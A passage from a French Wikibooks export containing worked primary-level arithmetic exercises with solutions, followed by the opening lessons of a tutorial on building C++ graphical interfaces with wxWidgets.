÷ 600 000 = 0,2244 ha soit 2244 m² : La hauteur du champ étant de 33 m, la demi-somme des bases est :: 2244 ÷ 33 = 68 m : La longueur à clore est donc de :: 2 × 68 + 33 = 136 +33 = 169 m : La dépense pour la clôture, à raison de 193 F le m est de :: 169 × 193 = <u>32 617 F</u> </td> <td width="25%"> <pre> 2244|33 264|68 0| </pre> <pre> 169 x 193 ----- 507 1521 169 ----- 32617 </pre> </td> </tr> </table> }} :II. L'air pur contient 20% de son volume d'oxygène et pour ainsi dire pas de gaz carbonique. Par heure, une personne consomme 25 l d'oxygène et rejette par la respiration le même volume de gaz carbonique. : Une salle de classe contenant 43 élèves et leur maître mesure 8 m × 7 m × 3,5 m. Calculez : ::1. Le poids de l'air qu'elle contient. ( 1 l d'air pèse 1,3 g) :: 2. Le nombre de litres d'oxygène disponibles dans la classe au moment de l'entrée en classe ; le nombre de litres d'oxygène consommé et le nombre de litre de gaz carbonique rejetés au bout d'une séance de 1 heure. :: 3. Quel est alors en volume, le pourcentage de gaz carbonique dans la salle ? :: 4. Quand la proportion de gaz carbonique dans l'air dépasse 1 %, on ressent des malaises. Au bout de combien de temps est-il par conséquent absolument nécessaire d'aérer la salle ? {{boîte déroulante|align=left|titre=Solution|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> :1. : Le volume de la pièce est de :: 3,5 × 8 × 7 = 28 × 7 = 196 m<sup>3</sup> : Si le poids de 1 l d'air est de 1,3 g, alors le poids de 1 m<sup>3</sup> d'air est de 1,3 kg : Le poids de 196 m<sup>3</sup> est donc de :: 196 × 1,3 = <u>254,8 kg </u> :2. : Le nombre de litres d'oxygène disponible dans 196 m<sup>3</sup> d'air est de : :: 196 000 × 20 ÷ 100 = <u>39 200 l </u> : Le nombre de litres d'oxygène consommés par les 44 personnes présentes dans la salle au bout d'une heure est :: 25 × 44 = 44 × 100 ÷ 4 = <u>1 100 l </u> : Le nombre de litres de gaz carbonique rejetés en 1 h est de <u>1 100 l</u> </td> <td width="25%"> <pre> 196 x 13 ---- 588 196 ---- 2548 </pre> </td> </tr> <tr valign="top"> <td width = "75%"> : 3. : Le pourcentage de gaz carbonique dans la salle est alors de :: 1 100 ÷ 196 000 × 100 = 0,56 % </td> <td width="25%"> <pre> 110,00|196 12 00|0,56 24| </pre> </td> </tr> <tr valign="top"> <td width = "75%"> : 4. : Le volume de gaz carbonique ne doit pas dépasser :: 196 000 × 1 ÷ 100 = 1 960 l : Pour obtenir 1 960 l de gaz carbonique à raison de 1 100 l par heure il faut :: 1 960 ÷ 1 100 = 1h 47 min : Il faut aérer la pièce au plus tard au bout de <u>1h 46 min </u> </td> <td width="25%"> <pre> 196|110 86 86|1 x 60 ---- 5160 </pre> <pre> 5160|110 760|46 100| </pre> </tr> </table> }} ==== Exercice 6 ==== : I. Un jardin mesure 25 m × 32 m. On construit deux allées de 1 m de large en forme de croix qui partagent le terrain en 4 parties égales . Quelle est la surface de chaque parcelle? Quelle volume de gravier faut-il acheter pour en couvrir les allées sur une épaisseur de 5 cm ? (on pourra déplacer les allées) {{boîte déroulante|align=left|titre=Solution|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> : En déplaçant les allées jusqu'au bord du terrain, il reste un terrain de dimensions 24 m × 31 m. : La surface du terrain et de :: 24 × 31 = 744 m² : Chaque parcelle a une superficie de :: 744 ÷ 4 = <u>186 m²</u> : La surface totale du terrain est de :: 25 × 32 = 32 × 100 ÷ 4 = 800 m² : La surface d'allée à couvrir est donc :: 800 - 744 = 56 m² : Le volume de gravier à prévoir est de :: 56 × 0,05 = <u>2,8 m</u><sup>3</sup> </td> <td width="25%"> <pre> 24 x 31 ---- 24 72 ---- 744 </pre> </td> </tr> </table> }} :II. Pour faire des confitures, votre grand-mère utilise 5 kg de prunes. Le lavage et le dénoyatage des fruits leur fait perdre 10 % de leur poids. On mélange les fruits avec les 4/5 de leur poids en sucre. La cuisson fait perdre 15 % du poids. On met ensuite la confiture dans des pots de 500 g. : 1. Combien de pots pleins votre grand-mère peut-elle confectionner ? : 2. Les prunes coûtent 1,10 € le kg et le sucre 1,20 € le kg. Si on néglige les dépenses dues à l'énergie nécessaire à la cuisson, quel est le prix de revient d'un pot ? : 3. Combien de fruits votre grand-mère doit-elle acheter pour préparer 10 pots de confiture ? {{boîte déroulante|align=left|titre=Solution|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> :1. : Le poids des fruits dénoyautés est :: 5 × 90 ÷ 100 = 4,5 kg : Il faut ajouter en sucre :: 4,5 × 4 ÷ 5 = 3,6 kg : Le poids total avant cuisson est donc de :: 4,5 + 3,6 = 8,1 kg : Le poids total après cuisson est alors de :: 8,1 × 85 ÷ 100 = 6,885 kg : La grand-mère peut donc remplir :: 6,885 ÷ 0,5 = <u>13 pots + un pot de 385 g </u> </td> <td width="25%"> <pre> 81 x 85 ---- 405 648 ---- 6885 </pre> </td> </tr> <tr valign="top"> <td width = "75%"> :2. : Le prix d'achat des fruits est de :: 5 × 1,1 = 5,5 € : Le coût de sucre dépensé est ::3,6 × 1,20 = 4,32 € : Le prix dépensé pour 6,885 kg est de :: 5,5 + 4,32 = 9,82 € : Le prix dépensé pour 0,500 kg est donc :: 9,82 ÷ 6,885 × 0,5 = 5,5 ÷ 13,77 = 0,71 € par pots </td> <td width="25%"> <pre> 36 x 12 ---- 72 36 ---- 432 </pre> <pre> 982 00|1377 18 10|0,71 4 33| </pre> </td> </tr> <tr valign="top"> <td width = "75%"> : 3. : Il faut, pour 10 pots de confitures, 5 kg de confiture : Avec 5kg de fruits, on fait 6,885 kg de confiture, donc pour 5kg de confiture il faut (règle de trois) :: 5 ÷ 6,885 × 5 = 5 ÷ 1,377 = 3,631 kg </td> <td width="25%"> <pre> 5000 000|1377 869 0 |3,631 42 80 | 1 490| 113| </pre> </tr> </table> }} ==== Exercice 7 ==== : I. Chez le boucher, vous achetez 800 g de viande à 14,90 € le kg, à l'épicerie, 500 g de beurre à 1,80 € le kg et 3 baguettes de pain à 0,70 € la baguette. Vous êtes partis avec un billet de 20 €. Combien aurez-vous au retour ? {{boîte déroulante|align=left|titre=Solution|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> : La viande a coûté :: 0,8 × 14,90 = 11,92 € : Le beurre a couté :: 0,5 × 1,8 = 0,90 € : Le pain a coûté :: 3 × 0,70 = 2,10 € : Le total de mes dépenses s'élèvent à :: 11,92 + 0,90 + 2,10 = 14,92 : Il me reste :: 20 - 14,92 = <u>5,08 €</u> </td> <td width="25%"> </td> </tr> </table> }} :II. La distance Paris-Reims est de 155 km par le rail. Le train de marchandises Paris-Reims démarre de la gare de l'Est à 8h 30 min et roule à la vitesse moyenne de 60 km/h. Un express part de Reims à 9h15 et roule à la vitesse moyenne de 90 km/h. À quelle heure et à quelle distance de Paris les trains se croiseront-ils? {{boîte déroulante|align=left|titre=Solution|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> : Il s'écoule, entre le départ des deux trains :: 9h 15 - 8h 30 = 0h 45min ou 3/4 d'heure : En 3/4 d'heure le train de marchandise a parcouru :: 60 ÷ 4 × 3 = 45 km : La distance entre les deux trains est de :: 155 - 45 = 110 km : Les deux trains roulent en sens contraire, donc leurs vitesses s'ajoutent :: 60 + 90 = 150 km/h : Le temps qui s'écoule jusqu'à leur point de rencontre est ::110 ÷ 150 = 0h 44min : L'heure du point de rencontre est de : 9h 15 + 0h 44 =<u> 9h 59 </u> : Le train de marchandise a encore roulé pendant 44 min soit :: 60 × 44 ÷ 60 = 44 km : Il est alors à une distance de Paris de :: 45 + 44 = <u>89 km </u> </td> <td width="25%"> <pre> 110 6600|150 x 60 600|44 ---- 0| 6600 </pre> </td> </tr> </table> }} ==== Exercice 8 ==== : I. Un apprenti gagne 18 € par jour et travaille 216 j par an. Les transports lui reviennent à 26 € par mois. Les jours où il travaille, le repas de midi lui coûte 5 € . A condition d'économiser 50% de ce qu'il lui reste de son salaire, au bout de combien de mois pourra-t-il s'acheter un scooter de 690 € ? (On estime que les 216 jours sont répartis également sur chaque mois) {{boîte déroulante|align=left|titre=Solution|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> : L'apprenti travaille :: 216 ÷ 12 = 18 j par mois : Les repas de midi s'élèvent à :: 18 × 5 = 90 € : Son salaire mensuel est de :: 18 × 18 = 324 € : Le total de ses dépenses est :: 90 + 26 = 116 € : Il lui reste par mois ::324 - 116 = 208 € : En économisant 104 € par mois, il pourra acheter son scooter de 690 € en :: 690 ÷ 104 = 7 mois </td> <td width="25%"> <pre> 216|12 18 96|18 x 18 0| ---- 144 18 ---- 324 </pre> <pre> 690|104 64|6 </pre> </td> </tr> </table> }} :II. On cherche à rénover une pièce de 4,20 m × 3,50 m dont la hauteur sous plafond est de 2,60 m. Les rouleaux de papier choisis pour tapisser le mur ont une longueur de 11,50 m et une largeur de 50 cm. Chaque rouleau coûte 3,90 €. La peinture destinée à repeindre le plafond coûte 5,50 € le pot. Chaque pot permet de peindre une surface de 8 m². La colle nécessaire pour fixer le papier peint coûte 1,15 €. :1. Combien de rouleaux faut-il acheter ? (on néglige les chutes dues aux portes et fenêtres) : 2. Quel est le coût des fournitures pour cette rénovation? {{boîte déroulante|align=left|titre=Solution|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> :1. : Dans un rouleau de papier peint, on peut découper :: 11,50 ÷ 2,60 = 4 lés : Le périmère de la pièce est de ::2 × (4,20 + 3,50) = 2 × 7,70 = 15,40 m : Le nombre de lés nécessaires est de :: 15,40 ÷ 0,5 = 31 lés : La pièce nécessite donc :: 31 ÷ 4 = <u>8 rouleaux</u> :2. : Les rouleaux coûtent :: 8 × 3,9 = 31,20 € : La surface du plafond est de :: 4,20 × 3,50 = 14,70 m² : Il faut donc :: 14,70 ÷ 8 = 2 pots de peinture : Les deux pots de peinture coûtent :: 2 × 5,50 = 11 € : Les dépenses s'élèvent donc à ::31,20 + 11,00 + 1,15 = <u>43,35 €</u> </td> <td width="25%"> <pre> 115|26 11|4 </pre> <pre> 42 x 35 ---- 210 126 ---- 1470 </pre> </td> </tr> </table> }} [[Catégorie:Exercices de mathématiques]] Interfaces graphiques en C++ avec wxWidget 7021 35417 2006-03-02T07:35:22Z Merrheim 1032 {{WxWidget}} {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#E0E0F0" align="center" colspan="2" | {| width="100%" bgcolor="#E0E0F0" |- | bgcolor="#E0E0F0" valign="middle" width="90%" align="center" | <font size="+1">Interfaces graphiques en C++ avec wxWidget</font> ''Un livre appartenant à la série [[Programmation]] du [[Département informatique/Bibliothèque|Département informatique]] <br/> et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. |- |} |- bgcolor="lightyellow" valign="top" colspan="2" | {{Sous section|nom=Interfaces graphiques en C++ avec wxWidget/Sommaire|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | |- |} |- |} Modèle:WxWidget 7022 37549 2006-03-14T09:13:42Z Merrheim 1032 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Interfaces graphiques en C++ avec wxWidget|IHM en C++ avec wxWidget ]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Interfaces graphiques en C++ avec wxWidget]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small>[[Interfaces graphiques en C++ avec wxWidget/Introduction|Introduction]]</small> *<small>[[Interfaces graphiques en C++ avec wxWidget/Premier exemple|Un premier exemple]]</small> *<small>[[Interfaces graphiques en C++ avec wxWidget/Evenements|Intercepter des événements]]</small> *<small>[[Interfaces graphiques en C++ avec wxWidget/Dialogues|Les boîtes de dialogue]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[Programmation C++ (débutant)]]</small> *<small>[[Programmation C plus plus|Programmation C++]]</small> *<small>[[Exercices en langage C++]]</small> *<small>[[Programmation C]]</small> *<small>[[Exercices en langage C]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:WxWidget&action=edit Modifier ce modèle]</small> |} Interfaces graphiques en C++ avec wxWidget/Introduction 7023 43424 2006-05-29T18:28:34Z 213.187.139.12 /* Introduction */ {{WxWidget}} ==Introduction== WxWidget est une bibliothèque très complète permettant de développer des interfaces graphiques en C++. Il n'existe pas de bibliothèque standard en C++ pour écrire de interfaces Hommes machines. WxWidget est un logiciel libre qui a été développé pour plusieurs environnement : windows, linux, ...etc. Interfaces graphiques en C++ avec wxWidget/Premier exemple 7024 43426 2006-05-29T18:35:05Z 213.187.139.12 /* La classe Win */ {{WxWidget}} ==Un premier exemple : ouvrir une fenêtre avec WxWidget== ===Prérequis=== *Notion de classe *Notion de constructeurs *Notion d'héritage *Méthodes virtuelles ===Notions abordées=== *création de projets wxWindows *la classe wxApp *la classe wxFrame *la classe wxPoint *la classe wxSize *les macros DECLARE_APP et IMPLEMENT_APP ===Screenshot=== [[Image:WxWidgetHello.jpg]] === Création du projet=== Les exemples ont été créés avec wxWindows sous Windows en utilisant dev-c++ (wxDeveloppement kit version 2.4.2). Pour créer une telle application, il faut créer un projet. Sous dev-c++, il faut faire « Nouveau projet » puis choisir l'onglet GUI et finalement cliquer sur « WxWindows » et on sauvegarde dans un répertoire notre projet. Si vous travaillez sous un autre environnement, il faudra trouver la procédure qui permet de créer un projet. === Structuration en classes=== WxWindows comporte un ensemble très complet de classes prédéfinies. Il y en a plusieurs centaines au total. Nous nous allons créer 2 classes qui vont hériter respectivement de wxApp et de wxFrame. Ces 2 classes font parties de wxWindows. Pour les utiliser, il faudra inclure #include<wx/wx.h> dans nos fichiers .h. Nous allons spécialiser ces classes pour les adapter à notre application. Nous allons créer la classe Appli qui hérite de WxApp et la classe Win qui hérite de wxFrame.<br/> Pour chacune de ces classes nous allons créer un fichier .h et un fichier .cpp. Nous aurons donc 4 fichiers au total : *Appli.h *Appli.cpp *Win.h *Win.cpp === La classe Appli=== Elle hérite de la classe wxApp : il s'agit d'une application standard sous wxWindows. Elle ne correspond à aucun affichage à l'écran. Il faut donc créer une wxApp et c'est cette wxApp qui va ouvrir la fenêtre principale de notre application. <br/> Lorsqu'on utilise wxWindow, il ne faut pas créer de main : il est créé automatiquement par différentes macros. A la fin du fichier Appli.h il faut écrire DECLARE_APP(Appli) pour indiquer que la classe Appli est la classe principale de notre application. Dans le fichier Appli.cpp, il faudra écrire IMPLEMENT_APP(Appli) pour que notre programme principal soit généré automatiquement.<br/> Que va-t-il se passer au lancement de notre application ? Le programme va exécuter automatiquement la méthode bool OnInit() qui est une méthode virtuelle : par défaut elle ne fait rien et aucune fenêtre de notre application n'est ouverte ! Nous allons donc redéfinir cette méthode pour qu'elle ouvre la fenêtre principale de notre application. Cette méthode renvoie true si tout s'est bien passé et false sinon. Dans ce cas, l'application est détruite ! La fenêtre principale de notre application sera une instance de la classe Win. Il nous faudra donc créer une telle instance, rendre la fenêtre visible et dire que c'est la fenêtre principale de notre application. <br/> '''Le fichier Appli.h est donc le suivant :'''<br/> <pre> #ifndef APPLI_H #define APPLI_H #include<wx/wx.h> #include"Win.h" class Appli: public wxApp { public: bool OnInit(); private: Win * window; // Un pointeur vers notre fenêtre }; DECLARE_APP(Appli) #endif </pre> '''Le fichier Appli.cpp est le suivant :''' <pre> #include"Appli.h" IMPLEMENT_APP(Appli) bool Appli::OnInit() { window=new Win(); // Création de notre fenêtre window->Show(TRUE); // Rendre visible notre fenêtre SetTopWindow(window); // notre fenêtre est la fenêtre principale return true; } </pre> === La classe Win=== Il s'agit d'une fenêtre standard : une fenêtre standard sous wxWindows doit hériter de wxFrame. Notre classe Win ne comportera qu'un simple constructeur. Celui-ci devra appeler le constructeur de wxFrame. Le contructeur de wxFrame doit comporter les informations suivantes : *la fenêtre mère de notre fenêtre. En effet, nous pouvons avoir une application complexe où il y a de nombreuses fenêtres. Dans ce premier exemple ce n'est pas le cas. Nous allons donc mettre ce paramètre à NULL. l'identifiant de notre fenêtre : il s'agit d'un entier qui peut être utile si notre application comporte plusieurs fenêtres. Là encore, ce paramètre n'étant pas nécessaire dans notre exemple, nous mettrons à -1 ce paramètre. <br/> *Le nom de la fenêtre qui s'affichera dans le haut de la fenêtre. Il s'agit d'une chaîne de caractères qui vaut ici "Bonjour tout le monde". <br/> *La position de la fenêtre : il s'agit du coin en haut à gauche de notre fenêtre. Il faut mettre ici une instance de la classe wxPoint. Pour positionner notre fenêtre aux coordonnées 10,20, il faut écrire wxPoint(10,20) au niveau de ce paramètre. <br/> *La taille de la fenêtre : il s'agit d'une instance de la classe wxSize. Pour que notre fenêtre ait une taille de 300x200 pixels, il faut que ce paramètre soit wxSize(600,400). <br/> '''Le fichier Win.h est donc le suivant :''' <pre> #ifndef WIN_H #define WIN_H #include<wx/wx.h> class Win: public wxFrame { public: Win(); }; #endif </pre> '''Le fichier Win.cpp est donc le suivant :''' <pre> #include"Win.h" Win::Win() : wxFrame(NULL,-1,"Bonjour tout le monde",wxPoint(10,20),wxSize(300,200)) { } </pre> Vous pouvez maintenant compiler notre application et une magnifique fenêtre va s'ouvrir. Image:WxWidgetHello.jpg 7025 32780 2006-02-14T11:24:08Z Merrheim 1032 Interfaces graphiques en C++ avec wxWidget/Evenements 7026 43437 2006-05-29T21:25:45Z 213.187.139.12 /* La méthode compute */ {{WxWidget}} ==Intercepter des événements== ===Notions abordées : === *nouveaux composants graphiques *la classe wxPanel *la classe wxButton *la classe wxStaticText *la classe wxTextCtrl *la classe wxColour *le modèle événementiel *la classe wxEventCommand *la classe wxString *la fonction wxMessageBox ===Screenshot=== [[Image:WxWidgetSomme.jpg]] ===Présentation de l'application === L'objectif de cette leçon est d'avoir deux champs texte éditables dans lequel l'utilisateur peut saisir des réels ainsi qu'un bouton "calculer". Si on clique sur le bouton on voit apparaître la somme des 2 réels dans un troisième champ texte non éditable. === Présentation de quelques composants graphiques=== Nous avons vu lors de la première leçon qu'une fenêtre hérite de la classe wxFrame. Nous allons rajouter différents composants graphiques dans notre fenêtre : du texte, des champs texte éditables et des boutons. Pour cela, il faut commencer par positionner un wxPanel à l'intérieur de notre fenêtre. Si panel est un pointeur vers notre wxPanel, on peut tout simplement écrire dans le constructeur de notre fenêtre : <br/> panel = new wxPanel(this); <br/> Maintenant, nous allons mettre différents composant graphiques sur notre panel : <br/> *du texte : il suffit de rajouter des wxStaticText. Le contructeur de ces wxStaticText ont besoin des informations suivantes : **le "père" de notre composant graphique : il s'agira de notre panel. **un entier identifiant notre composant : nous n'avons pas besoin d'utiliser un tel identifiant pour nos champs texte, nous mettrons alors la valeur -1. **la position de notre champs texte en utilisant la classe wxPoint. **la taille de notre champs texte en utilisant le classe wxSize. **Pour rajouter un champs texte sur notre wxPanel, nous écrirons par exemple : <br/> textX= new wxStaticText(panel,-1,"Valeur de X : ",wxPoint(10,20),wxSize(100,20)); <br/> Il s'affichera alors le texte "Valeur de X :" aux coordonnées 10,20 dans un rectangle de 100x20 pixels. *des champs texte éditables : **le composant graphique correspondant s'appelle wxTextCtrl. Le constructeur de ce composant a besoin des mêmes paramètres que le constructeur de wxStaticText. Il est possible de rendre le champ texte inéditable en utilisant la méthode SetEditable(false). Il est possible de modifier la couleur de notre champ texte en utilisant la méthode SetBackgroundColour(wxColour(200,200,200)); La classe wxColour permet de représenter une couleur sous la forme rouge-vert-bleu où chaque composante est un entier entre 0 et 255. **Pour rajouter un champ texte éditable sur notre wxPanel, nous écrirons par exemple : <br/> editX=new wxTextCtrl(panel,-1,"",wxPoint(120,20),wxSize(100,20)); <br/> *des boutons : **nous utiliserons alors la classe wxButton. Le constructeur de ce composant aura besoin des informations suivantes : **le "père" de notre composant graphique : il s'agira de notre panel. **un entier identifiant notre composant : lorsque nous cliquerons sur notre bouton, nous aurons besoin d'un identifiant pour ce bouton. Nous utiliserons une constante entière générée par exemple par un type énuméré. **la position de notre champ texte en utilisant la classe wxPoint. **la taille de notre champ texte en utilisant le classe wxSize. **Pour rajouter un bouton sur notre wxPanel, nous écrirons par exemple : <br/> buCompute=new wxButton(panel,BUTTONCOMPUTE_ID,"CALCULER",wxPoint(240,50)); <br/> === Structuration en classes === Notre application somme comportera 2 classes : la classe SommeAppli qui représente notre application et qui hérite de wxApp et la classe SommeWin qui héritera de wxframe et qui sera notre principale fenêtre. Pour chacune de ces classes nous allons créer un fichier .h et un fichier .cpp. Nous aurons donc 4 fichiers au total : *SommeAppli.h *SommeAppli.cpp *SommeWin.h *SommeWin.cpp === La classe SommeAppli=== Rien de nouveau par rapport à la leçon numéro 1. Le fichier SommeAppli.h est donc le suivant : <pre> #ifndef SOMMEAPPLI_H #define SOMMEAPPLI_H #include<wx/wx.h> #include"SommeWin.h" class SommeAppli : public wxApp { public: bool OnInit(); protected: SommeWin * window; }; DECLARE_APP(SommeAppli) #endif </pre> '''Le fichier SommeAppli.cpp est : ''' <pre> #include"SommeAppli.h" IMPLEMENT_APP(SommeAppli) bool SommeAppli::OnInit() { window=new SommeWin(); window->Show(TRUE); SetTopWindow(window); return true; } </pre> === Le modèle événementiel=== Lorsque l'utilisateur va cliquer sur le bouton, il faudra effectuer une opératon particulière : afficher dans un champs texte la somme de 2 réels. Il faut donc dire à l'application que lorsqu'on cliquera sur le bouton ayant un identifiant donné, on actionnera une méthode donnée. Pour cela, nous écrirons dans la classe SommeWin.h la macro : <br/> DECLARE_EVENT_TABLE() <br/> Cela signifie que notre classe va devoir gérer des événements. <br/> Notre bouton portera l'identifiant BUTTONCOMPUTE_ID. Lorsqu'on cliquera sur ce bouton, on appellera la méthode compute. Pour effectuer cette association on écrira dans le fichier SommeWin.cpp : <br/> BEGIN_EVENT_TABLE(SommeWin,wxFrame) <br/> EVT_BUTTON(BUTTONCOMPUTE_ID,SommeWin::compute) <br/> END_EVENT_TABLE() <br/> <br/> La méthode compute sera définie dans la classe SommeWin de la manière suivante : <br/> void compute(wxCommandEvent &event); <br/> Le paramètre event permet d'avoir différentes informations sur l'événement qui vient de ce produire : nous n'utiliserons pas ici ces informations. === La méthode compute=== Dans la méthode compute, il faudra récuperer les chaînes de caractères situées dans les 2 champs texte éditables. Pour cela, il suffit d'appeler la méthode GetValue() de la classe wxTextCtrl pour récupérer la chaîne de caractères qui sera une instance de la classe wxString. Il faudra ensuite transformer cette chaîne en double. Pour cela on utilisera la méthode bool ToDouble(double & x); de la classe wxString. Cette méthode renvoie le booléen true si la chaîne est effectivement un réel. Dans ce cas, la valeur de la chaîne transformée en double est mise dans x. Si l'utilisateur a tapé une chaîne qui n'est pas un réel, alors la méthode ToDouble renverra false. <br/> Lorsqu'on aura récupéré les 2 réels tapés, nous pourrons aisément calculer la somme des 2 double : il faudra alors transformer ce double en une wxString. Pour cela, nous pourrons utiliser la méthode sprintf(...) de wxString qui permet d'écrire ce que l'on veut dans une chaîne de caractères avec la même syntaxe que la commande printf du C. Si jamais l'utilisateur tape des valeur erronnées, nous ouvrirons une boîte de dialogue qui comportera un message d'erreur et un bouton OK et qui bloquera l'application tant que l'utilisateur n'appuiera pas sur le bouton OK : une telle boite de dialogue est dite ''modale''. Il suffit d'appeler la fonction wxMessageBox(...). Par exemple si on appelle wxMessageBox("Données erronnées","ERREUR"); , il s'ouvre une boîte de dialogue modale dans laquelle il est écrit "Données erronées" et dans la barre du haut de cette boîte il est écrit "ERREUR". === La classe SommeWin=== Le fichier SommeWin.h est le suivant : <pre> #ifndef SOMMEWIN_H #define SOMMEWIN_H #include<wx/wx.h> enum { BUTTONCOMPUTE_ID }; class SommeWin : public wxFrame { public: SommeWin(); protected: wxPanel * panel; wxButton *buCompute; wxStaticText *textX,*textY,*textS; wxTextCtrl *editX,*editY,*editS; void compute(wxCommandEvent &event); DECLARE_EVENT_TABLE() }; #endif </pre> '''Le fichier SommeWin.cpp est le suivant : ''' <pre> #include"SommeWin.h" #include<wx/colour.h> SommeWin::SommeWin() : wxFrame(NULL,-1,"Distance") { panel= new wxPanel(this); textX= new wxStaticText(panel,-1,"Valeur de X : ",wxPoint(10,20),wxSize(100,20)); textY= new wxStaticText(panel,-1,"Valeur de Y : ",wxPoint(10,50),wxSize(100,20)); textS= new wxStaticText(panel,-1,"X+Y vaut : ",wxPoint(10,80),wxSize(100,20)); editX=new wxTextCtrl(panel,-1,"",wxPoint(120,20),wxSize(100,20)); editY=new wxTextCtrl(panel,-1,"",wxPoint(120,50),wxSize(100,20)); editS=new wxTextCtrl(panel,-1,"",wxPoint(120,80),wxSize(100,20)); editS->SetEditable(false); editS->SetBackgroundColour(wxColour(200,200,200)); buCompute=new wxButton(panel,BUTTONCOMPUTE_ID,"CALCULER",wxPoint(240,50)); } void SommeWin::compute(wxCommandEvent &event) { double x,y,s; bool okX,okY; wxString sS; wxString sX=editX->GetValue(); okX=sX.ToDouble(&x); wxString sY=editY->GetValue(); okY=sY.ToDouble(&y); if(okX && okY) { s=x+y; sS.sprintf("%lf",s); editS->SetValue(sS); } else { editS->SetValue(""); wxMessageBox("Données erronnées","ERREUR"); } } BEGIN_EVENT_TABLE(SommeWin,wxFrame) EVT_BUTTON(BUTTONCOMPUTE_ID,SommeWin::compute) END_EVENT_TABLE() </pre> Image:WxWidgetSomme.jpg 7027 32790 2006-02-14T11:35:45Z Merrheim 1032 Interfaces graphiques en C++ avec wxWidget/Dialogues 7028 32806 2006-02-14T12:01:23Z Merrheim 1032 /* Présentation de l'application = */ {{WxWidget}} ==Les boîtes de dialogue== Nous étudierons ici un exemple qui calcule la distance entre 2 points du plan. ===Notions abordées === *les boîtes de dialogue ===Screenshot=== [[Image:WxWidgetDialogue.jpg]] === Présentation de l'application === L'objectif de cette application est d'avoir à l'écran les coordonnées de 2 points A et B dans des champs texte éditables. Deux boutons "Modifier A" et "Modidier B" permettent d'éditer les coordonnées des 2 boutons dans une boîte de dialogue modale. === Structuration en classe de l'application=== Notre application distance comportera 4 classes : la classe DistanceAppli qui représente notre application et qui hérite de wxApp, la classe DistanceWin qui héritera de wxframe et qui sera notre principale fenêtre, la classe Point qui permet de représenter un point et qui calcule la distance entre 2 points et la classe PointDialog qui permet d'éditer les coordonnées d'un point dans un boîte de dialogue. <br/> Pour chacune de ces classes nous allons créer un fichier .h et un fichier .cpp. Nous aurons donc 8 fichiers au total : <br/> *DistanceAppli.h *DistanceAppli.cpp *DistanceWin.h *DistanceWin.cpp *Point.h *Point.cpp *PointDialog.h *PointDialog.cpp === La classe DistanceAppli=== Rien de nouveau par rapport aux leçons précédentes. La classe DistanceAppli ouvre une fenêtre de la classe DistanceWin. Le fichier DistanceAppli.h est le suivant : <pre> #ifndef DISTANCEAPPLI_H #define DISTANCEAPPLI_H #include #include"DistanceWin.h" class DistanceAppli : public wxApp { public: bool OnInit(); protected: DistanceWin * window; }; DECLARE_APP(DistanceAppli) #endif </pre> '''Le fichier DistanceAppli.cpp est le suivant : ''' <pre> #include"DistanceAppli.h" IMPLEMENT_APP(DistanceAppli) bool DistanceAppli::OnInit() { window=new DistanceWin(); window->Show(TRUE); SetTopWindow(window); return true; } </pre> === La classe DistanceWin=== La fenêtre de notre application est composée d'un wxPanel sur lequel on positionne du texte (classe wxStaticText), des champs texte (classe wxTextCtrl) qui seront rendus inéditables et des boutons (classe wxButton). <br/> Cette classe comporte comme données membres deux points A et B (de la classe Point) et une méthode nommée ShowPoint(). Cette méthode va récupérer les coordonnées des 2 points A et B (grâce à des accesseurs getX() et getY()) ainsi que la distance entre les 2 points grâce à la méthode distance(..). Une fois ces informations récupérées, elles seront transformées en wxString et affichées dans les différents champs texte de la fenêtre. <br/> Cette classe comportera également 2 autres méthodes editPointA et editPointB qui seront appelée lorsqu'on cliquera respectivement sur les boutons "MODIFIER A" et "MODIFIER B". Pour créer cette association, il faut écrire la macro DECLARE_EVENT_TABLE() dans le fichier DistanceWin.h à la fin de la déclaration de la classe DistanceWin .<br/> Dans le fichier DistanceWin.cpp, il faut écrire : <br/> <br/> BEGIN_EVENT_TABLE(DistanceWin,wxFrame) EVT_BUTTON(BUTTONEDITA_ID,DistanceWin::editPointA)<br/> EVT_BUTTON(BUTTONEDITB_ID,DistanceWin::editPointB)<br/> END_EVENT_TABLE()<br/> <br/> Les paramètres BUTTONEDITA_ID et BUTTONEDITB_ID sont des identifiants des 2 boutons issus d'un type énuméré. Lorsqu'on appelle les méthodes editPointA et editPointB, il faut créer une nouvelle boîte de dialogue de la classe PointDialog en passant au constructeur de cette classe le nom et l'instance du point à éditer. Il faut ouvrir cette boîte de dialog en appelant la méthode ShowModal(). Lorsque la boîte de dialogue se referme, il faut mettre à jour les coordonnées des points et la distance en appelant la méthode ShwPoint(). <br/> '''Le fichier DistanceWin.h est le suivant :''' <pre> #ifndef DISTANCEWIN_H #define DISTANCEWIN_H #include<wx/wx.h> #include"Point.h" enum { BUTTONEDITA_ID ,BUTTONEDITB_ID }; class DistanceWin : public wxFrame { public: DistanceWin(); protected: wxPanel * panel; wxStaticText *textXA,*textXB,*textYA,*textYB,*textDistance; wxTextCtrl *editXA,*editXB,*editYA,*editYB,*editDistance; wxButton *editA,*editB; Point A,B; void ShowPoint(); void editPointA(wxCommandEvent &event); void 